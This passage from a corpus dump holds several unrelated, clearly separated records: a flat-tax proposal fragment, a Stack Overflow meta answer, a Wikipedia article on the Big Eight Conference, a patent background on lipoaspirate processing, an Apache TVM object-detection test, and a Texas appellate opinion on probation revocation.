equitable.", "\n\nThis is the tough part. ", "There are many different definitions for fair and equitable. ", "This plan recognizes that households with low income are already pay 6.2% (really 12.4% counting the employer contribution) of wages to social security. ", "American’s pay a sales tax on most consumption in 45 states. ", "They pay hidden taxes on products like gasoline, liquor and tobacco.", "\n\nThere are also property taxes if they own a home or higher rents to cover the property taxes if they rent a home. ", "They pay a state income tax in 43 states. ", "They really can’t afford to pay any federal income tax. ", "This plan allows them to earn up to a livable minimum before they pay any income tax at all.", "\n\n\n\n\n\n15 Cents on the dollars for everyone\n\nAbove the livable minimum, each income earner will pay 15 cents of every dollar earned. ", "The other 85 cents goes to the household.", "\n\nMost people would say that for a tax plan to be fair, tax liability should increase as income increases. ", "In other words the highest income earners should pay the most. ", "With this plan tax liability increases proportionately as income increases.", "\n\nThat means the highest income earners will pay the most income taxes. ", "With the current progressive system today, tax liability rises disproportionately as income rises. ", "Many argue that is not fair and equitable.", "\n\nThis bold, yet relatively simple tax plan meets all of the goals." ]

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[ "Q:\n\nSO Question mysteriously converted to community wiki\n\nElegant ways to support equivalence (\"equality\") in Python classes\nThe question has not met any of the requirements to become community wiki. ", "Oddly, the revision history now states that the question was turned into a community wiki question immediately upon posting, yet I don't recall having posted this question as community wiki; I'm certain I gained reputation points from upvotes and accepting an answer. ", "Why is the state of this question different now?", "\n\nA:\n\nI'm certain you accidentally marked it as Community Wiki when you first asked it. ", "According to the timeline of the question, you got upvotes as early as the day you posted it. ", "Your reputation graph from your profile page, however, lists no reputation gain for that question during that period. ", "If you double-check your reputation audit, I'm sure you'll find post 390250 to be equally devoid of reputation change.", "\nAs a comparison, my answer here was converted to Community Wiki after it already received 4 votes. ", "My reputation graph also indicates the 40 reputation earned from those. ", "\nThe syntax is unusual, but observing a couple of other 2008 Community Wikis, it seems this was how Community Wiki was performed back then.", "\n\n" ]

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[ "Big Eight Conference\n\nThe Big Eight Conference was a National Collegiate Athletic Association (NCAA)-affiliated Division I-A college athletic association that sponsored football. ", " It was formed in January 1907 as the Missouri Valley Intercollegiate Athletic Association (MVIAA) by its charter member schools: the University of Kansas, University of Missouri, University of Nebraska, and Washington University in St. Louis. ", " Additionally, the University of Iowa was an original member of the MVIAA, while maintaining joint membership in the Western Conference (now the Big Ten Conference).", "\n\nThe conference was dissolved in 1996. ", "Its membership at its dissolution consisted of the University of Nebraska, Iowa State University, the University of Colorado at Boulder, the University of Kansas, Kansas State University, the University of Missouri, the University of Oklahoma, and Oklahoma State University. ", " The Big Eight kept its headquarters in Kansas City, Missouri.", "\n\nIn February 1994, the Big Eight and the Southwest Conference announced that the two leagues had reached an agreement to form a new conference. ", "The eight members of the Big Eight joined with SWC schools Texas, Texas A&M, Baylor, and Texas Tech to form the Big 12 Conference the following year. ", "A vote was conducted on whether to keep the new conference's headquarters in Kansas City, and by a vote of 7–5 the conference members voted to move to Irving, Texas, a suburb of Dallas. ", "The two Oklahoma schools, all four Texas schools, and Colorado voted for the move while both Kansas schools, Nebraska, Missouri, and Iowa State voted for Kansas City.", "\n\nHistory\n\nFormation\nThe conference was founded as the Missouri Valley Intercollegiate Athletic Association (MVIAA) at a meeting on January 12, 1907, by five charter members: the University of Kansas, the University of Missouri, the University of Nebraska, Washington University in St. Louis. ", "The University of Iowa who was also a member of the Western Conference (now the Big Ten Conference) was also a joint member of the conference. ", "Iowa only participated in football and outdoor men's track and field.", "\n\nEarly membership changes\nIn 1908, Drake University and Iowa Agricultural College (now Iowa State University) joined the MVIAA, increasing the conferences membership to seven. ", "Iowa who was a joint member departed in 1911 to only compete in the Western Conference, but Kansas State University joined the conference in 1913. ", "Nebraska left in 1918 to play as an independent for two seasons before returning in 1920. ", "In 1919, the University of Oklahoma and Saint Louis University applied for membership, but were disapproved due to deficient management of their athletic programs. ", "The conference then added Grinnell College in 1919, with the University of Oklahoma applying again and being approved in 1920. ", "Oklahoma A&M University (now Oklahoma State University) joined in 1925, bringing conference membership to ten, an all-time high.", "\n\nConference split\nAt a meeting in Lincoln, Nebraska, on May 19, 1928, the conference split up. ", " Six of the seven state schools (all except Oklahoma A&M) formed a conference that was initially known as the Big Six Conference. ", " Just before the start of fall practice, the six schools announced they would retain the MVIAA name for formal purposes. ", " However, fans and media continued to call it the Big Six. ", " The three private schools – Drake, Grinnell, and Washington University – joined with Oklahoma A&M to form the Missouri Valley Conference (MVC). ", "The old MVIAA's administrative staff transferred to the MVC. ", " \n\nThe similarity of the two conferences' official names, as well as the competing claims of the two conferences, led to considerable debate over which conference was the original and which was the spin-off, though the MVIAA went on to become the more prestigious of the two. ", " For the remainder of the Big Eight's run, both conferences claimed 1907 as their founding date, as well as the same history through 1927. ", " To this day, it has never been definitively established which conference was the original.", "\n\nConference membership grew with the addition of the University of Colorado on December 1, 1947, from the Mountain States Conference. ", " Later that month, Reaves E. Peters was hired as \"Commissioner of Officials and Assistant Secretary\" and set up the first conference offices in Kansas City, Missouri. ", " With the addition of Colorado, the conference's unofficial name became the Big Seven Conference, coincidentally, the former unofficial name of the MSC.", "\n\nThe final membership change happened ten years later, when Oklahoma A&M joined (or rejoined, depending on the source) the conference on June 1, 1957, and the conference became known as the Big Eight. ", " That same year, Peters' title was changed to \"Executive Secretary\" of the conference. ", " He retired in June 1963 and was replaced by Wayne Duke, whose title was later changed to \"Commissioner\".", "\n\nIn 1964, the conference legally assumed the name \"Big Eight Conference\". ", " In 1968 the conference began a long association with the Orange Bowl, sending its champion annually to play in the prestigious bowl game in Miami, Florida.", "\n\nFormation of the Big 12 Conference\n\nIn the early 1990s, most of the colleges in Division I-A (now known as the Football Bowl Subdivision) were members of the College Football Association; this included members of the Big Eight and Southwest Conferences. ", "Following a Supreme Court decision in 1984, the primary function of the CFA was to negotiate television broadcast rights for its member conferences and independent colleges. ", " In February 1994, the Southeastern Conference announced that they, like the Big Ten, Pac-10, and Notre Dame before them, would be leaving the CFA and negotiate independently for a television deal that covered SEC schools only. ", " This led The Dallas Morning News to proclaim that \"the College Football Association as a television entity is dead\". ", " More significantly, this change in television contracts ultimately would lead to significant realignment of college conferences, with the biggest change being the dissolution of the Big Eight and the Southwest Conferences and the formation of the Big 12.", "\n\nAfter the SEC's abandonment of the CFA, the Southwest Conference and the Big Eight Conference saw potential financial benefits from an alliance to negotiate television deals, and quickly began negotiations to that end, with ABC and ESPN. ", " Though there were complications over the next several weeks (some of which are detailed below), on February 25, 1994, it was announced that a new conference would be formed from the members of the Big Eight and four of the Texas member colleges of the Southwest Conference. ", "Though the name would not be made official for several months, newspaper accounts immediately dubbed the new entity the \"Big 12\". ", "Charter members of the Big 12 included the members of the Big Eight plus Baylor, Texas, Texas A&M and Texas Tech.", "\n\nDissolution\nFollowing the formation of the Big 12 Conference in 1994, the Big Eight continued operations till August 30, 1996, when the conference was formally dissolved and its members officially began competition in the Big 12 Conference. ", "\nAlthough the Big 12 was essentially the Big Eight plus the four Texas schools, the Big 12 regards itself as a separate conference and does not claim the Big Eight's history as its own.", "\n\nMembers\n\nFinal members\n\nPrevious members\n\nMembership timeline\n\nSubsequent conference affiliations\n\n Colorado left the Big 12 for the Pac-12 beginning with the 2011–12 season.", "\n Drake withdrew from the Missouri Valley Conference from 1951–1956. ", " The MVC stopped sponsoring football in 1985; Drake remains a member for all non-football sports. ", " The football program dropped to Division III in 1987, playing as an independent until a change in NCAA rules forced the program to play in Division I. When the new rule took effect in 1993, Drake joined the newly formed Pioneer League, a football-only league playing at the FCS level that prohibits the awarding of football scholarships.", "\n Grinnell joined the Midwest Collegiate Athletic Conference beginning with the 1939–40 season; their affiliation from 1928–1939 is unclear. ", " The MCAC merged with the Midwest Athletic Conference for Women to form the Midwest Conference beginning with the 1994–95 season.", "\n Missouri left the Big 12 for the SEC beginning with the 2012–13 season.", "\n Nebraska left the Big 12 for the Big Ten beginning with the 2011–12 season.", "\n Washington University left the MVC in 1946; it joined the College Athletic Conference from 1962 through 1971, and became a charter member of the University Athletic Association, which began play with the 1986–87 season. ", " It was independent in all other years. ", "Washington University is now a football-only affiliate member of the College Conference of Illinois and Wisconsin.", "\n\nCommissioners\n Reaves Peters (1947–1963) as Executive Secretary\n Wayne Duke (1963–1971)\n Chuck Neinas (1971–1980)\n Carl C. James (1980–1996)\n\nConference champions\n\nMen's basketball\n\nFollowing are the MVIAA/Big Eight regular-season conference champions from 1908 to 1996 (showing shared championships in italics):\n\nFootball\n\nShared championships are shown in italics:\n\n † Kansas would have won the 1960 title, but after found to be using an ineligible player they were forced to forfeit their victories over Missouri and Colorado, which meant that Missouri was awarded the 1960 Big Eight title.", "\n\n ‡ Oklahoma initially won the 1972 title, but after it was found that they used ineligible players, they were penalized by the NCAA, though they did not force OU to forfeit games. ", "The Big Eight asked them to forfeit three games and awarded the title to Nebraska, but Oklahoma still claims these wins and this title.", "\n\nNational championships won by MVIAA/Big Eight members\nThe following is a complete list of the 100 AIAW, NCAA and college football championships won by teams that were representing the Big Eight Conference in NCAA- or AIAW-recognized sports at the time of the championship.", "\n\nFootball (11):\n1950 – Oklahoma\n1955 – Oklahoma\n1956 – Oklahoma\n1970 – Nebraska\n1971 – Nebraska\n1974 – Oklahoma\n1975 – Oklahoma\n1985 – Oklahoma\n1990 – Colorado\n1994 – Nebraska\n1995 – Nebraska\n\nBaseball (4):\n1951 – Oklahoma\n1954 – Missouri\n1959 – Oklahoma State\n1994 – Oklahoma\n\nMen's basketball (2):\n1952 – Kansas\n1988 – Kansas\n\nMen's Cross Country (3):\n1953 – Kansas\n1989 – Iowa State\n1994 – Iowa State\n\nWomen's Cross Country (5):\n1975 – Iowa State\n1976 – Iowa State\n1977 – Iowa State\n1978 – Iowa State\n1981 – Iowa State\n\nMen's golf (9):\n1963 – Oklahoma State\n1976 – Oklahoma State\n1978 – Oklahoma State\n1980 – Oklahoma State\n1983 – Oklahoma State\n1987 – Oklahoma State\n1989 – Oklahoma\n1991 – Oklahoma State\n1995 – Oklahoma State\n\nMen's gymnastics (14):\n1971 – Iowa State\n1973 – Iowa State\n1974 – Iowa State\n1977 – Oklahoma\n1978 – Oklahoma\n1979 – Nebraska\n1980 – Nebraska\n1981 – Nebraska\n1982 – Nebraska\n1983 – Nebraska\n1988 – Nebraska\n1990 – Nebraska\n1991 – Oklahoma\n1994 – Nebraska\n\nMen's/Women's Skiing (14):\n1959 – Colorado\n1960 – Colorado\n1972 – Colorado\n1973 – Colorado\n1974 – Colorado\n1975 – Colorado\n1976 – Colorado\n1977 – Colorado\n1978 – Colorado\n1979 – Colorado\n1982 – Colorado (men's)\n1982 – Colorado (women's)\n1991 – Colorado\n1995 – Colorado\n\nMen's Indoor Track (4):\n1965 – Missouri\n1966 – Kansas\n1969 – Kansas\n1970 – Kansas\n\nWomen's Indoor Track (3):\n1982 – Nebraska\n1983 – Nebraska\n1984 – Nebraska\n\nMen's Outdoor Track (3):\n1959 – Kansas\n1960 – Kansas\n1970 – Kansas\n\nWomen's volleyball (1):\n1995 – Nebraska\n\nWrestling (27):\n1928 – Oklahoma State\n1933 – Iowa State\n1936 – Oklahoma\n1951 – Oklahoma\n1952 – Oklahoma\n1957 – Oklahoma\n1958 – Oklahoma State\n1959 – Oklahoma State\n1960 – Oklahoma\n1961 – Oklahoma State\n1962 – Oklahoma State\n1963 – Oklahoma\n1964 – Oklahoma State\n1965 – Iowa State\n1966 – Oklahoma State\n1968 – Oklahoma State\n1969 – Iowa State\n1970 – Iowa State\n1971 – Oklahoma State\n1972 – Iowa State\n1973 – Iowa State\n1974 – Oklahoma\n1977 – Iowa State\n1987 – Iowa State\n1989 – Oklahoma State\n1990 – Oklahoma State\n1994 – Oklahoma State\n\nNational team titles by institution\nThe national championships listed below are for the final eight members of the conference, as of July 2014. ", " Football, Helms, and equestrian titles are included in the total, but excluded from the column listing NCAA and AIAW titles.", "\n\nRacial integration\nThe history of the Big Eight Conference straddles the era of racial segregation in the United States, particularly as it relates to African Americans.", "\n\nBefore the formation of the conference, three African-American brothers at the University of Kansas are the first known to have participated in organized sports for a league school: Sherman Haney played baseball for KU beginning in 1888, followed by Grant Haney and then Ed Haney, the last of whom also played football at KU in 1893. ", " At the same time, the University of Nebraska football team had on its roster George Flippin, the son of a slave, beginning in 1891. ", " Nebraska's football team featured three more African-American players over the next 12 years. ", " Notable among these NU players was Clinton Ross, who in 1911 apparently became the first African-American to participate in sport in the MVIAA, following the league's formation in 1907.", "\n\nRace relations in the United States, however, deteriorated in the early 20th century, and African-American athletes disappeared almost entirely from the conference in the four decades after Ross's final season at NU in 1913. ", " The lone exception during the following decades was Iowa State. ", "In 1923 Jack Trice became the first African-American athlete at Iowa State – and the only one in the conference. ", " Tragically, Trice died two days after playing his second football game with Iowa State, due to injuries suffered during the game (against Minnesota). ", " Jack Trice Stadium at Iowa State is now named in his honor. ", " Trice was followed at Iowa State by Holloway Smith, who played football for ISU in 1926 and 1927. ", " After Smith, the league's teams were all-white for more than two decades. ", " (During this time all of the major professional sports leagues in the U.S. were also segregated.)", "\n\nModern era\nThe modern era of full integration of league sports began at Kansas State, with Harold Robinson. ", " In 1949, Harold Robinson played football for Kansas State with an athletic scholarship. ", "In doing so, Robinson broke the modern \"color barrier\" in conference athletics, and also became the first ever African-American athlete on scholarship in the conference. ", "Harold Robinson later received a letter of congratulations from Jackie Robinson, who had reintegrated major league baseball in 1947 while playing with the Brooklyn Dodgers.", "\n\nIn the spring of 1951 the conference's baseball color barrier was broken by Kansas State's Earl Woods, and in the winter of 1951–1952 Kansas State's Gene Wilson and Kansas's LaVannes C. Squires jointly broke the conference color barrier in basketball.", "\n\nNebraska was the third league school to (re)integrate its athletic teams, with Charles Bryant joining the football team in 1952. ", " Iowa State would be next, with Harold Potts and Henry Philmon reintegrating the Cyclone football team in 1953. ", " The following season, Franklin Clarke became the first varsity African-American football player at the University of Colorado. ", " In 1955, Homer Floyd became the first African-American to play football for the KU Jayhawks since Ed Haney in 1893. ", " Sports teams at the remaining three conference schools (Oklahoma, Missouri and Oklahoma State) were subsequently all integrated by the end of the 1950s. ", "Most notably, Prentice Gautt became the first black player for Bud Wilkinson at Oklahoma in 1956.", "\n\nConference facilities\nThis is a listing of the conference facilities as of the last year of the conference 1995–1996.", "\n\nSee also\n List of Big Eight Conference champions\n Big Eight Conference football\n\nReferences\n\nExternal links\nBigEightSports.com\nBig Eight baseball conference champions\n\n*\nCategory:Sports organizations established in 1907\nCategory:Organizations disestablished in 1996\nCategory:1907 establishments in the United States\nCategory:Articles which contain graphical timelines" ]

{ "pile_set_name": "Wikipedia (en)" }

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[ "According to the prior art, the preparation required to reuse liposuctioned material involves the separation of the vital cell component to be re-injected from the waste material composed of anesthetic liquid or biological fluids (serum or blood) from cell debris and oil resulting from the rupture of suctioned adipocytes.", "\nSuch separation may occur within the syringe that is used for withdrawal, or in special containers, essentially in three manners:\nby settling: the materials separate due to differences in density under gravity,\nby centrifugation: the materials separate due to differences in density under the effect of a centrifugal force,\nby washing: the lipoaspirate is placed in a thin-mesh strainer and washed, generally with a saline, that may be progressively replaced or not.", "\nAccording to the best known technique (Coleman lipostructure), the syringes containing the lipoaspirate are closed at the bottom by a luer-lock cap, and are placed in a centrifuge for separating the liquid phase from the solid biological material.", "\nBefore using the biological material so obtained, the anesthetic and biological liquids left on the bottom of the syringe after centrifugation must be manually drained by removing the luer-lock cap from the syringe and causing them to flow out by gravity, whereas the cell fragments and oil resulting from the breaking of the cell walls of adipocytes lie on the cell material to be transplanted and are removed in an incomplete and rudimentary manner, using gauzes that partially absorb the excess oil and often make the last part of the suctioned material unusable.", "\nThe above described technique suffers from a number of drawbacks.", "\nFirst, the step of suction and separation by centrifugation causes a considerable amount of adipocytes to break and release a significant amount of oil, which cannot completely removed with the Coleman technique, and makes a significant portion of the lipoaspirate unusable, that is, the portion of cell material that, after centrifugation, is located on the upper part of the syringe barrel, in contact with oil, and hence is contaminated by said oil.", "\nThis is because the presence of oil in the biological filler to be injected increases the risk of infections and rejections and causes increased inflammations.", "\nFurthermore, the above described process involves multiple contacts of the liposuctioned material with surfaces of various types of instruments, as well as long-time contact with air in a potentially non-sterile environment, whereby use thereof in an operating room is recommended.", "\nA technique is also known but rarely used, which involves mechanical fragmentation of the suctioned cell agglomerate using a blender, whose cutting blades separate fat lobules and provide an injectable cell suspension.", "\nThis fragmentation technique has many drawbacks.", "\nFirst, the fragmentation step, which is followed by centrifugation, causes a considerable amount of adipocytes to break, which causes more than half of the liposuctioned material to be unusable for later aesthetic treatments. ", "As a direct result, an increased number of liposuction sessions are required to compensate for this loss of material occurring during preparation of the material to be transplanted, with increased discomfort for patients.", "\nFurthermore, the quantity of usable cell suspension that can be obtained using the above described procedure and devices largely depends on the skill of the health care staff in setting the speed and operating time parameters of the blender and the centrifuge and on the conditions of the instruments: an excessive rotation speed of the blades or the use, for example, of a blender with poorly cutting blades does not cause separation of fat lobules, but rather the mechanical break of the cell walls of a large amount of adipocytes, which involves oil formation and makes the cell suspension unusable, in addition to requiring accurate separation of the cell fragments and oil from the suspension. ", "This is because the presence of oil in the biological filler to be injected increases the risk of infections and rejections.", "\nFurthermore, the above described process involves multiple contacts of the liposuctioned material with surfaces of various types of instruments, as well as some contact with air in a non perfectly sterile environment, as is the case of doctor's offices. ", "Since the material is of biological nature, extended contact with air or with multiple instruments, that may even not be perfectly sterile, increases the risk of bacterial or viral contamination, and may jeopardize treatment results.", "\nThe technique that involves washing through a strainer also has certain drawbacks.", "\nParticularly the strainer net may easily become clogged with the liposuctioned material, which requires a manual action to remove fat from the meshes, thereby slowing down the preparation process and especially increasing the risk of contamination of the material to be injected.", "\nThe use of a simple strainer does not allow the liposuctioned material to be constantly maintained in a closed and perfectly sterile environment throughout the preparation process, i.e. from the liposuction step to the injection step.", "\nPatent documents are known which disclose cell isolating devices.", "\nThe international application WO 2009/073724 discloses a method and an apparatus for isolating cells from lipoaspirate.", "\nParticularly, it discloses a method for separating the adipocyte and oil fraction from the non-fat cell fraction in a lipoaspirate.", "\nIn order to obtain lipids and adipocytes that float on a cell solution of interest and other small cells within a container defined as “separation chamber”, the adipose tissue is placed in a digestion chamber, and forced through a filter and through a head having pores into said “chamber”.", "\nThe steps of washing the tissue, removing excess liquids, enzymatic digestion, antibiotic addition and cell selection may occur in a container defined as “digestion chamber”. ", "The digestion chamber may contain a filter that retains the tissue but allows the passage of dissociated cells and fluids. ", "An aqueous emulsion containing adipocyte lipids is formed in this chamber.", "\nThe dissociated material in the digestion chamber may pass through a dispersing filter with pores smaller than the pores on the dispersing head contained in the first “separation chamber”. ", "This filter 115 is used to prevent clogging of the pores of the dispersing head.", "\nIn the “separation chamber” the lipids and adipocytes are separated from the cell population.", "\nThe device provides a cell population from a tissue without using the centrifuge but by forcing the solution through filters with pores of various sizes.", "\nSaid device is particularly complex in terms of construction, as shown in the figures.", "\nFurthermore, the many passages of the organic material through chambers and filters extend the duration of the method, and expose the organic material to contamination risks.", "\nAlso, the complexity of the method and device make them unsuitable for use, for instance, in out-patient environments, which require quick preparation of injectable material from lipoaspirate and quick performance of face and body defect correction without the assistance of particularly specialized staff.", "\nFurthermore, in this method, emulsions are formed using chemicals and not only through the use of mechanical means and forces.", "\nUS Application 2007/0274960 discloses a method of preparing a stem cell-containing composition. ", "In order to prepare a stem cell population, in certain embodiments the liposuctioned adipose tissue is physically treated, i.e. cut or minced into smaller pieces, and undergoes enzymatic treatment, which facilitates release of the cells of interest from the other tissue components.", "\nTherefore US 2007/0274960 allows the adipose tissue to be divided into smaller pieces by forcing it through an array of screens, to obtain smaller portions of uniform sizes, that can undergo enzymatic treatment in a more uniform manner, thereby providing a quicker release of stem cells and reducing the contact time between the released cells and the enzyme solution.", "\nAccording to this patent, an emulsion of adipose tissue may be prepared using a perfluorocarbon solution, which emulsion is separable from the stem cells of interest.", "\nThe patent does not include the preparation of an emulsion of liquids that can be mechanically separated from lipid cells or small cell agglomerates.", "\nThe container that contains the cutting means cannot be also used for injecting adipose tissue into a patient. ", "U.S. Pat. ", "No. ", "6,020,196 discloses a method for collecting microvascular endothelial cells.", "\nThe patent describes a method of treating suctioned adipose tissue, which adipose tissue, suctioned by a syringe with a cannula having apertures of such a size as to minimize stresses on cell components and to obtain a homogeneous adipose tissue, is forced from one syringe to another through a filter (74) located between the suction ports of the two syringes.", "\nBy pulling the pistons of the syringes, the suctioned adipose tissue is homogenized by being forced through the filter from one syringe to another.", "\nA lower viscosity of the suctioned material allows easier removal of the contaminants and improved digestion of the sample, for obtaining endothelial cells.", "\nThe method as disclosed in this patent suffers from certain drawbacks that make it unsuitable for use in the preparation of injectable fat, because:\nthe filter may become clogged by the adipose tissue: the filter-holding device forms a restriction in the flow line from one syringe to the other; the clogged filter obstructs the passage of adipose tissue from one syringe to the other and requires disconnection of the syringe and replacement of the filter to continue adipose tissue washing; due to these steps, the preparation of an emulsion of solid and liquid components becomes difficult and time-consuming and the organic material is exposed to contamination;\nthe passage through the filter meshes for disintegration of the connective tissue also leads to the break of adipocytes, with formation of excess oil and the need for a later accurate separation of intact fat cells from oil.", "\nU.S. Pat. ", "No. ", "6,020,196 provides a homogenate from which endothelial cells may be extracted with the addition of collagenase and centrifugation, hence through the combination of chemical and physical actions. ", "The patent does not involve the formation of an emulsion of liquid components upon which lipid cells or small agglomerates of lipid cells obtained from liposuctioned adipose tissue may float, which cells are directly injectable, after appropriate treatment, into a patient, without requiring particular sterile conditions of the environments, e.g. without requiring a perfectly sterile operating room.", "\nU.S. Pat. ", "No. ", "6,020,196 does not involve the possibility of providing a single device that, through a few simple treatment steps, allows preparation of the liposuctioned material and collection and temporary storage of fat, until reinjection.", "\nPatent application US 2003/0100105 discloses an apparatus for extracting cells from organs. ", "The apparatus includes a digestion chamber containing the organ and protease, and agitation means, such as balls having at least one cavity, which balls only act upon the organ." ]

{ "pile_set_name": "USPTO Backgrounds" }

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[ "# Licensed to the Apache Software Foundation (ASF) under one\n# or more contributor license agreements. ", " See the NOTICE file\n# distributed with this work for additional information\n# regarding copyright ownership. ", " The ASF licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License. ", " You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied. ", " See the License for the\n# specific language governing permissions and limitations\n# under the License.", "\n# pylint: disable=import-self, invalid-name, unused-argument\n\"\"\"Test torch vision fasterrcnn and maskrcnn models\"\"\"\nimport numpy as np\nimport torch\nimport torchvision\nimport cv2\n\nimport tvm\n\nfrom tvm import relay\nfrom tvm.runtime.vm import VirtualMachine\nfrom tvm.contrib.download import download\n\n\nin_size = 300\n\n\ndef process_image(img):\n img = cv2.imread(img).astype(\"float32\")\n img = cv2.resize(img, (in_size, in_size))\n img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n img = torch.from_numpy(img / 255.0).permute(2, 0, 1).float()\n img = torch.unsqueeze(img, axis=0)\n\n return img\n\n\ndef do_trace(model, inp, in_size=in_size):\n model_trace = torch.jit.trace(model, inp)\n model_trace.eval()\n return model_trace\n\n\ndef dict_to_tuple(out_dict):\n if \"masks\" in out_dict.keys():\n return out_dict[\"boxes\"], out_dict[\"scores\"], out_dict[\"labels\"], out_dict[\"masks\"]\n return out_dict[\"boxes\"], out_dict[\"scores\"], out_dict[\"labels\"]\n\n\nclass TraceWrapper(torch.nn.", "Module):\n def __init__(self, model):\n super().__init__()\n self.model = model\n\n def forward(self, inp):\n out = self.model(inp)\n return dict_to_tuple(out[0])\n\n\ndef generate_jit_model(index):\n model_funcs = [\n torchvision.models.detection.fasterrcnn_resnet50_fpn,\n torchvision.models.detection.maskrcnn_resnet50_fpn,\n ]\n\n model_func = model_funcs[index]\n model = TraceWrapper(model_func(pretrained=True))\n\n model.eval()\n inp = torch.", "Tensor(np.random.uniform(0.0, 250.0, size=(1, 3, in_size, in_size)))\n\n with torch.no_grad():\n out = model(inp)\n\n script_module = do_trace(model, inp)\n script_out = script_module(inp)\n\n assert len(out[0]) > 0 and len(script_out[0]) > 0\n return script_module\n\n\ndef test_detection_models():\n img = \"test_street_small.jpg\"\n img_url = (\n \"https://raw.githubusercontent.com/dmlc/web-data/\"\n \"master/gluoncv/detection/street_small.jpg\"\n )\n download(img_url, img)\n\n input_shape = (1, 3, in_size, in_size)\n target = \"llvm\"\n input_name = \"input0\"\n shape_list = [(input_name, input_shape)]\n score_threshold = 0.9\n\n scripted_model = generate_jit_model(1)\n mod, params = relay.frontend.from_pytorch(scripted_model, shape_list)\n\n with tvm.transform.", "PassContext(opt_level=3, disabled_pass=[\"FoldScaleAxis\"]):\n vm_exec = relay.vm.compile(mod, target=target, params=params)\n\n ctx = tvm.cpu()\n vm = VirtualMachine(vm_exec, ctx)\n data = process_image(img)\n pt_res = scripted_model(data)\n data = data.detach().numpy()\n vm.set_input(\"main\", **{input_name: data})\n tvm_res = vm.run()\n\n # Note: due to accumulated numerical error, we can't directly compare results\n # with pytorch output. ", "Some boxes might have a quite tiny difference in score\n # and the order can become different. ", "We just measure how many valid boxes\n # there are for input image.", "\n pt_scores = pt_res[1].detach().numpy().tolist()\n tvm_scores = tvm_res[1].asnumpy().tolist()\n num_pt_valid_scores = num_tvm_valid_scores = 0\n\n for score in pt_scores:\n if score >= score_threshold:\n num_pt_valid_scores += 1\n else:\n break\n\n for score in tvm_scores:\n if score >= score_threshold:\n num_tvm_valid_scores += 1\n else:\n break\n\n assert num_pt_valid_scores == num_tvm_valid_scores, (\n \"Output mismatch: Under score threshold {}, Pytorch has {} valid \"\n \"boxes while TVM has {}.\".format(score_threshold, num_pt_valid_scores, num_tvm_valid_scores)\n )\n" ]

{ "pile_set_name": "Github" }

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[ "AFFIRM; and Opinion Filed April 2, 2014.", "\n\n\n\n\n S In The\n Court of Appeals\n Fifth District of Texas at Dallas\n No. ", "05-13-01152-CR\n\n MARIO ALVERTO RODRIGUEZ, Appellant\n V.\n THE STATE OF TEXAS, Appellee\n\n On Appeal from the Criminal District Court No. ", "5\n Dallas County, Texas\n Trial Court Cause No. ", "F-0637100-L\n\n MEMORANDUM OPINION\n Before Justices Bridges, O’Neill, and Brown\n Opinion by Justice O’Neill\n Appellant Mario Alverto Rodriguez pleaded guilty to the felony offense of DWI third on\n\nSeptember 20, 2006. ", "On November 21, 2006, the trial court sentenced him to ten years’\n\nconfinement, probated for five years, a $1,000 fine, and $12,000 in restitution. ", "The State filed a\n\nmotion to revoke probation on March 29, 2010. ", "Another motion to revoke probation was filed\n\non March 31, 2011 and capias was issued. ", "The motion and capias were served on appellant on\n\nMay 22, 2013. ", "On July 12, 2013, the trial court revoked appellant’s community supervision and\n\nsentenced him to four years’ imprisonment. ", "In a single issue, appellant argues the trial court was\n\nwithout jurisdiction at the time it revoked his probation because his five-year probation period\n\nhad expired. ", "We affirm.", "\n\f To support his argument on appeal, appellant alleges, “At the time of his hearing upon\n\nthe motion to revoke probation, it appears that no arrest warrant had been filed pursuant to the\n\nmost recent motion to revoke.” ", "Appellant is incorrect.", "\n\n Article 42.12 of the Texas Code of Criminal Procedure sets out the law with respect to\n\ncommunity supervision. ", "TEX. ", "CODE CRIM. ", "PROC. ", "ANN. ", " ART. ", " 42.12 (West 2013). ", "The relevant\n\nsection regarding a trial court’s jurisdiction provides the following:\n\n (e) A court retains jurisdiction to hold a hearing under\n Subsection (b-2) and to revoke, continue, or modify community\n supervision, regardless of whether the period of community\n supervision imposed on the defendant has expired, if before the\n expiration the attorney representing the state files a motion to\n revoke, continue, or modify community supervision and a capias is\n issued for arrest of the defendant.", "\n\nTEX. ", "CODE CRIM. ", "PROC. ", "ANN. ", "art. ", "42.12, §21(e).", "\n\n Appellant’s five-year period of community supervision began on November 21, 2006 and\n\nexpired on November 20, 2011. ", "See Nesbit v. State, 227 S.W.3d 64, 69 (Tex. ", "Crim. ", "App. ", "2007)\n\n(holding the term of community supervision begins on the day of sentencing and expires on the\n\nday before the anniversary date); see also State v. Crecy, No. ", "05-11-01003-CR, 2012 WL\n\n2106534, at *2 (Tex. ", "App.—Dallas June 12, 2012, pet. ", "ref’d) (mem. ", "op., ", "not designated for\n\npublication). ", "The State filed a motion to revoke community supervision and issued capias on\n\nMarch 31, 2011, which fell within the trial court’s jurisdiction under article 42.12, section 21(e).", "\n\nThus, the trial court retained jurisdiction over this case and properly revoked appellant’s\n\ncommunity supervision.", "\n\n\n\n\n –2–\n\f Appellant’s sole issue is overruled, and the judgment of the trial court is affirmed.", "\n\n\n\n\n /Michael J. O'Neill/\n MICHAEL J. O’NEILL\n JUSTICE\n\n\n\nDo Not Publish\nTEX. ", "R. APP. ", "P. 47\n\n131152F.U05\n\n\n\n\n –3–\n\f S\n Court of Appeals\n Fifth District of Texas at Dallas\n JUDGMENT\n\nMARIO ALVERTO RODRIGUEZ, On Appeal from the Criminal District Court\nAppellant No. ", "5, Dallas County, Texas\n Trial Court Cause No. ", "F-0637100-L.\nNo. ", "05-13-01152-CR V. Opinion delivered by Justice O’Neill.", "\n Justices Bridges and Brown participating.", "\nTHE STATE OF TEXAS, Appellee\n\n Based on the Court’s opinion of this date, the judgment of the trial court is AFFIRMED.", "\n\n\nJudgment entered this 2nd day of April, 2014.", "\n\n\n\n\n /Michael J. O'Neill/\n MICHAEL J. O’NEILL\n JUSTICE\n\n\n\n\n –4–\n\f" ]

{ "pile_set_name": "FreeLaw" }

